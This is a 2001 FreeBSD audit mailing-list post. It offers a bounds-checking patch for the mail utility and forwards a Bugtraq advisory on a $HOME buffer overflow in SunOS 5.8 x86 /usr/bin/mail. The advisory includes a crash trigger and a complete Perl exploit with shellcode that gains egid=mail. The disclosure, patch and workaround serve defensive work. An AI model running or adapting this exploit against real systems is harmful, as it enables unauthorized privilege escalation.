Date: Mon, 4 Jun 2001 18:55:11 -0500 From: "Jacques A. Vidrine" <n@nectar.com> To: freebsd-audit@freebsd.org Subject: Fwd: [$HOME buffer overflow in SunOS 5.8 x86] Message-ID: <20010604185510.B47924@shade.nectar.com>
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There are several other potential overflows (sprintf, strcpy), but
here is a patch for ones involving HOME. I don't think this
represents a security problem, though.
--- cmd1.c.orig Mon Jun 4 18:47:11 2001
+++ cmd1.c Mon Jun 4 18:47:22 2001
@@ -440,7 +440,7 @@
char dirname[BUFSIZ];
char *cmd;
- if (getfold(dirname) < 0) {
+ if (getfold(dirname, sizeof(dirname)) < 0) {
printf("No value set for \"folder\"\n");
return 1;
}
--- fio.c.orig Mon Jun 4 18:41:27 2001
+++ fio.c Mon Jun 4 18:51:37 2001
@@ -340,13 +340,18 @@
name = "~/mbox";
/* fall through */
}
- if (name[0] == '+' && getfold(cmdbuf) >= 0) {
+ if (name[0] == '+' && getfold(cmdbuf, sizeof(cmdbuf)) >= 0) {
sprintf(xname, "%s/%s", cmdbuf, name + 1);
name = savestr(xname);
}
/* catch the most common shell meta character */
if (name[0] == '~' && (name[1] == '/' || name[1] == '\0')) {
- sprintf(xname, "%s%s", homedir, name + 1);
+ if (snprintf(xname, sizeof(xname), "%s%s", homedir, name + 1)
+ >= sizeof(xname)) {
+ fprintf(stderr, "\"%s\": Expansion failed -- "
+ "path too long.\n", name);
+ return NOSTR;
+ }
name = savestr(xname);
}
if (!anyof(name, "~{[*?$`'\"\\"))
@@ -398,18 +403,25 @@
* Determine the current folder directory name.
*/
int
-getfold(name)
+getfold(name, bufsize)
char *name;
+ size_t bufsize;
{
char *folder;
+ int n;
if ((folder = value("folder")) == NOSTR)
return (-1);
if (*folder == '/')
- strcpy(name, folder);
+ n = strlcpy(name, folder, bufsize);
else
- sprintf(name, "%s/%s", homedir, folder);
- return (0);
+ n = snprintf(name, bufsize, "%s/%s", homedir, folder);
+ if (n >= bufsize) {
+ fprintf(stderr, "Folder '%s' ignored -- path too long.\n",
+ folder);
+ return (-1);
+ } else
+ return (0);
}
/*
--- lex.c.orig Mon Jun 4 18:46:48 2001
+++ lex.c Mon Jun 4 18:46:57 2001
@@ -613,7 +613,7 @@
s++;
}
ename = mailname;
- if (getfold(fname) >= 0) {
+ if (getfold(fname, sizeof(fname)) >= 0) {
strcat(fname, "/");
if (strncmp(fname, mailname, strlen(fname)) == 0) {
sprintf(zname, "+%s", mailname + strlen(fname));
--
Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org
----- Forwarded message from Georgi Guninski <guninski@guninski.com> -----
Date: Mon, 04 Jun 2001 18:14:30 +0300
From: Georgi Guninski <guninski@guninski.com>
To: Bugtraq <BUGTRAQ@SECURITYFOCUS.COM>
Subject: $HOME buffer overflow in SunOS 5.8 x86
Georgi Guninski security advisory #46, 2001
$HOME buffer overflow in SunOS 5.8 x86
Systems affected:
SunOS 5.8 x86 have not tested on other OSes
Risk: Medium
Date: 4 June 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.
Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C
eip gets smashed with 0x41414141.
Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------
Workaround:
chmod -s /usr/bin/mail
Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.
Regards,
Georgi Guninski
http://www.guninski.com
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